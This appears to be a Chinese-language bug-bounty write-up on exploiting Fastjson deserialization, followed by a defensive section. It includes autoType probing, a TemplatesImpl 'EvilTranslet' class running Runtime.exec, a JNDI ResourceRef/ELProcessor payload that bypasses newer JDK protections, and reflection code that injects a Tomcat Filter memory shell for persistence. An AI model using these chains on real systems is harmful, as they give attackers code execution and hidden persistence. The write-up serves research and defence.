Fastjson 反序列化实战复盘:从黑盒 AutoType 探测到容器层面的利用边界
背景: 1.2.24 之前 : autoType 默认开启, @type 可以直接指定任意类,利用门槛最低。 1.2.25 :引入 autoTypeSupport ,默认关闭;但黑名单覆盖不全,仍存在可绕过的期望类路径。 1.2.41、1.2.42、1.2.43、1.2.45、1.2.47 等版本 :陆续修复已知绕过,但每次修复后又会出现新的期望类路径,攻防进入拉锯。 1.2.68 :引入 saf…
背景:
1.2.24 之前:
autoType默认开启,@type可以直接指定任意类,利用门槛最低。1.2.25:引入
autoTypeSupport,默认关闭;但黑名单覆盖不全,仍存在可绕过的期望类路径。1.2.41、1.2.42、1.2.43、1.2.45、1.2.47 等版本:陆续修复已知绕过,但每次修复后又会出现新的期望类路径,攻防进入拉锯。
1.2.68:引入
safeMode,开启后硬拒绝所有@type加载,比黑名单更彻底。1.2.80:将
AutoCloseable加入黑名单,常见的探测类被收紧。Fastjson2:从架构上移除旧版
autoType的默认行为,旧链的适用面进一步收窄。
一、 引言:触发点
在一次针对某金融企业的外网 SRC 打点中,我发现了一个返回数据极其复杂的业务接口。按照习惯,我向 JSON 参数中插入了一个畸形的闭合符,服务器直接返回了 500 错误,堆栈清晰可见:com.alibaba.fastjson.JSONException。
很多人在这一步就直接上 ysoserial 或者现成的 Payload 了。但我要说的是:“存在 Fastjson”和“能够拿下服务器”之间,隔着一道巨大的鸿沟。Fastjson 的 autoType 状态、目标 JDK 版本、Classpath 下的第三方依赖,甚至传入参数的上下文,都会决定这条链能否走通。
先纠正一个高频混淆:Fastjson 的 @type 解析不经过 JEP 290。 JEP 290 的 ObjectInputFilter 作用于 ObjectInputStream 的类解析阶段,管的是 RMI 注册表、原生 Socket 反序列化这类入口。Fastjson 走的是自己的 ParserConfig 和 checkAutoType。如果目标只接收 JSON 文本,要突破的是 safeMode 和黑名单;只有拿到 rO0AB 或 aced0005 开头的字节流,才轮到讨论 JEP 290。
这个区分不是文字游戏,它直接决定排查方向。如果入口只解析 JSON,却把失败归因于“JEP 290 拦截”,后续所有链的选择都会南辕北辙。Fastjson 侧真正要确认的是:autoTypeSupport 是否开启、safeMode 是否启用、目标版本的黑名单覆盖了哪些类、业务代码是否开启了 SupportNonPublicField、Classpath 中是否存在可被 @type 驱动的期望类。只有把这些条件逐项确认,才能判断一条链是“理论上可用”还是“在这个入口上可用”。

二、 黑盒探测:先确认 autoType 的状态
确认组件后,第一步不是盲目扔 TemplatesImpl,而是判断 autoType 是否处于可被解析的状态。
用 {"@type":"java.lang.AutoCloseable"} 做无害探测。这个类的响应特征需要分版本看:
在 Fastjson 1.2.80 之前,
AutoCloseable通常不在默认黑名单中,目标可能返回与类加载或类型转换相关的异常;在 Fastjson 1.2.80 之后,
AutoCloseable被加入黑名单,响应通常会变成autoType is not support或类似的拒绝信息。

如果返回的是后者,说明该入口的 autoType 已被收紧,后续链的选择需要更加依赖目标组件本身的白名单。本次目标返回的是类加载相关的异常,并未明确拒绝,据此判断目标 autoType 处于可被解析的状态。
这里需要强调探测的局限性:不同 Fastjson 小版本、不同 ParserConfig 配置、不同业务封装下,响应可能不一致。AutoCloseable 只是一个低成本的“探针”,它不能证明 autoType 完全开放,只能帮助排除“明确拒绝”的情况。真实测试中还应结合其他无害类做交叉验证,并观察异常堆栈中是否出现 checkAutoType、autoType is not support、ClassNotFoundException 等关键字符串。只有响应特征稳定指向“允许解析但后续失败”,才值得进入下一条链的尝试。

三、 TemplatesImpl 链的尝试与失败信号
autoType 可解析之后,首选不出网的 TemplatesImpl。这条链的价值在于不需要目标出网,不依赖 LDAP/RMI,直接把恶意字节码放进 _bytecodes,由 Fastjson 在本地完成 defineClass。
但它有两个硬性前提:
必须开启
SupportNonPublicField:_bytecodes是私有字段,Fastjson 默认只处理 public 字段和 setter,未开启该特性时不会被赋值。_name必须非空:TemplatesImpl在_name == null时会提前返回,不会进入defineTransletClasses。
EvilTranslet 需要实现 AbstractTranslet 的两个 transform 方法,否则编译不通过:
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class EvilTranslet extends AbstractTranslet {
static {
try {
// Linux 下使用 touch 验证
Runtime.getRuntime().exec("touch /tmp/pwn_templates");
} catch (Exception e) {}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
构造 Base64 编码的 _bytecodes,连同 _name: "a" 发送。现象:目标无回显、无文件落地、无 DNS 请求。这个失败信号非常明确:该接口的 parseObject 没有开启 SupportNonPublicField,导致 _bytecodes 根本未被赋值。TemplatesImpl 链在此入口不可用,必须转向出网路径。
这里还要补一个版本边界:TemplatesImpl 在 Fastjson 1.2.24 到 1.2.47 等早期版本中较常被讨论;后续版本逐步收紧 autoType 和黑名单,直接 @type 指定该类可能被拦截。失败信号也要区分:是“字段未赋值导致的静默失败”,还是“类被黑名单拒绝”。前者通常没有明显报错,后者可能返回 autoType is not support 或类加载拒绝信息。只有确认是前者,才说明问题在 SupportNonPublicField,而不是目标版本已经封死这条链。

四、 出网破局:JNDI 注入与高版本 JDK 绕过
JdbcRowSetImpl 链在 setter 阶段触发 lookup()。必须区分:JDK 8u191 之后被封死的是远程类加载,但 lookup() 的网络请求本身仍然会发出。
先启动 LDAP 监听并发送 Payload,确认目标主动连入。这一步验证的是“出网通道存在”,不是“利用成功”。收到连接后,方向转为本地工厂。NamingManager.getObjectFactoryFromReference 会尝试从本地 Classpath 加载 Reference 中指定的 factoryClassName,并做 (ObjectFactory) clas.newInstance() 强转。
避坑点一: BeanFactory.getObjectInstance 接受的必须是 org.apache.naming.ResourceRef,普通 javax.naming.Reference 会在类型判断阶段被拒绝。
避坑点二: 必须绕开 Nashorn 引擎。JDK 15 起 Nashorn 被移除,ScriptEngineManager.getEngineByName("js") 会返回 null,后续 eval 直接空指针。改用 ELProcessor.eval 直接执行反射表达式。
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
// 参数说明:resourceClass, description, scope, auth, singleton=true(单例), factory, factoryLocation
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null
);
ref.add(new StringRefAddr("forceString", "x=eval"));
// 纯反射调用,不依赖 ScriptEngine
String elPayload = "\"\".getClass().forName(\"java.lang.Runtime\")" +
".getMethod(\"getRuntime\",null).invoke(null,null)" +
".exec(\"touch /tmp/pwn_el\")";
ref.add(new StringRefAddr("x", elPayload));
forceString: x=eval 让 BeanFactory 把属性 x 映射到 ELProcessor.eval(String),完成命令执行。
这条链的前提是目标 Classpath 中存在 javax.el.ELProcessor。内嵌 Tomcat 的 Spring Boot 通常带 tomcat-embed-el,传统 Tomcat 8/9 也自带该依赖;Jetty 或 Undertow 环境下该类不存在,链不成立。因此,在发送 ResourceRef 之前,最好通过响应头、错误页、静态资源路径等指纹判断目标是否使用 Tomcat。如果无法确认,也可以先发送一个只读的 EL 表达式验证 ELProcessor 是否存在,再决定是否执行命令。

五、 权限维持的边界博弈:基于现有类的条件式内存马注入
拿到命令执行权限后,最理想的后续是注入 Filter 内存马。但这里必须面对一个极其严苛的底层逻辑问题:既然 TemplatesImpl 已失效,而 EL 表达式又无法凭空 defineClass 自定义的恶意字节码,我们如何把一个恶意的 Filter 类加载进 JVM?
EL 表达式可以 new 已有类、可以反射调用方法,但它没有公开的 defineClass 能力。ClassLoader.defineClass 是 protected 方法,JDK 9+ 的模块系统还会进一步限制反射访问。能加载自定义字节码的典型入口是 TemplatesImpl、Unsafe.defineClass 或自定义 ClassLoader,而这些都需要额外条件。因此,在“前置链只能是纯 EL 执行、且目标没有文件写入权限”的场景下,内存马注入必须依赖目标环境中已经存在的可利用类。
具体来说,需要满足以下条件之一:
目标 Classpath 中存在可被复用的
Filter实现:例如某个实现了javax.servlet.Filter接口、内部逻辑存在缺陷或可被动态代理修改的类。通过反射修改其属性或代理逻辑,将其注册为恶意 Filter。目标环境存在其他字节码加载入口:例如已有的文件写入权限、可触发的类加载机制、或另一个反序列化入口。EL 可以作为注册 Filter 的触发点,但不能单独完成字节码定义。
如果上述条件均不满足,纯 EL 表达式无法完成一次完整的“无文件落地内存马注入”。这是客观的物理限制,不是堆砌几条网上 PoC 就能打破的。
下面给出在“目标 Classpath 中已有可复用 Filter 实例”的条件下,通过反射注册内存马的核心代码。注意:WebappClassLoaderBase 的 resources 字段直接声明在其自身,不需要找父类;Spring Boot fat-jar 的 LaunchedURLClassLoader 没有该字段,因此以下代码适用于传统 Tomcat 部署。
// 1. 获取 StandardContext(传统 Tomcat 部署)
ClassLoader cl = Thread.currentThread().getContextClassLoader();
WebResourceRoot resources = null;
while (cl != null) {
try {
java.lang.reflect.Field field = cl.getClass().getDeclaredField("resources");
field.setAccessible(true);
resources = (WebResourceRoot) field.get(cl);
break;
} catch (NoSuchFieldException e) {
cl = cl.getParent();
}
}
if (resources == null) return;
StandardContext ctx = (StandardContext) resources.getContext();
// 2. 注册恶意 Filter(假设已通过其他途径获取到 evilFilter 实例)
FilterDef filterDef = new FilterDef();
filterDef.setFilterName("EvilFilter");
filterDef.setFilter(evilFilter);
filterDef.setFilterClass(evilFilter.getClass().getName());
ctx.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("EvilFilter");
filterMap.addURLPattern("/*");
ctx.addFilterMapBefore(filterMap);
ctx.filterStart();
如果只有纯 EL,上述 Java 逻辑需要全部翻译成 Class.forName、getMethod、invoke 的链式调用。这条 EL 表达式会非常长,且要处理类型转换、异常和类加载器可见性。更重要的是,evilFilter 实例从哪来,必须在目标 Classpath 中已有对应类,或者通过其他入口完成字节码加载。否则,filterStart() 会因为找不到 Filter 类而失败。
边界总结: 如果目标 Classpath 中无可用类,且无其他字节码加载入口,纯 EL 无法完成内存马注入。文章标题中的“权限维持”应理解为“在满足条件时的条件式权限维持”,而不是“任何 EL 执行都能无文件落地内存马”。把这条边界写清楚,比硬编一个跑不通的完整 Payload 更可信。

六、 防御层级
Fastjson 侧: safeMode 是 1.2.68+ 引入的硬拒绝机制,低版本应使用 setAutoTypeSupport(false) 配合白名单。根本方案是升级 Fastjson2。仅依赖黑名单不足以覆盖 AutoCloseable 等期望类路径的版本差异,也不足以应对业务代码开启 SupportNonPublicField 的情况。代码审计中应重点搜索 JSON.parseObject 的 Feature 参数,确认是否开启了非必要特性。
JNDI 侧: 显式设置 com.sun.jndi.ldap.object.trustURLCodebase=false 和 com.sun.jndi.rmi.object.trustURLCodebase=false,并禁止外部输入传入 lookup()。同时审计 Classpath 中的 ObjectFactory 实现,尤其是 Tomcat BeanFactory 与 ELProcessor 的组合。即使远程类加载被关闭,本地工厂仍可能被 ResourceRef 驱动,因此不能只依赖 trustURLCodebase=false。
内存马侧: 基于类的静态文件扫描对条件式注入无效。必须依赖 RASP 或 Java Agent,监控运行时 StandardContext 中 filterDefs/filterMaps 的非启动期新增,以及对 filterStart() 的异常反射调用。同时应监控 ClassLoader.defineClass、TemplatesImpl.newTransformer 等字节码加载入口,但这些监控要结合业务基线,避免误报。
七、 免责声明
本文仅供技术研究与安全防御参考。
文中涉及的漏洞利用链、Payload 及测试手法,均在合法授权的 SRC 靶场与内部测试资产上进行。
请勿将本文技术用于任何未授权的真实生产环境。因违规使用造成的任何后果及法律责任,由使用者自行承担。